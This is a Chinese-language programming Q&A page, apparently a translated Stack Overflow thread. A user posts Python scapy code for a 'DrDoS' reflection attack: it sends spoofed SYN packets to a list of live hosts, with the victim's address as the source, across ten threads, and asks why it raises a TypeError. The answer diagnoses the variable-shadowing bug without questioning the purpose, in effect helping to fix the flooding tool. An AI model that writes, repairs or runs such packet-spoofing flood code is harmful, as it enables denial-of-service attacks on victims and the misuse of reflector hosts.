1

我正在尝试在 python 中制作一个 DrDoS 程序,但我不断收到

TypeError:“str”对象不可调用

这是我的代码

import os
import sys
import threading
from scapy.all import *
from time import sleep

if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)

list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))

print "Flooding, press ^Z to stop."

class SYNFlood(threading.Thread):
 def run(self):
    c=0
    with open(list, "r") as f:
        IP = f.readline()
        a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
        send(a, verbose=0)
        sys.stdout.write('.')
        c=c+1
    print "Done, sent " + str(c) + " packets."
    exit(0)

for x in range(10):
t = SYNFlood()
t.start()

我确实做了一些研究,发现这是来自一个名为“str”的变量,我没有找到这个。有趣的。

4

1 回答 1

7

这些行在这里:

IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)

包含问题,IP是一个字符串,您试图像函数一样调用它。

IP(dst=IP, src=target, ttl=255)

也许你应该选择一个不同的变量名,以免干扰其他命名空间。

另外,这一行:

list=raw_input("List of live IPs: ")

阻止您使用list内置函数,请重新考虑此名称。

于 2013-06-01T07:51:51.810 回答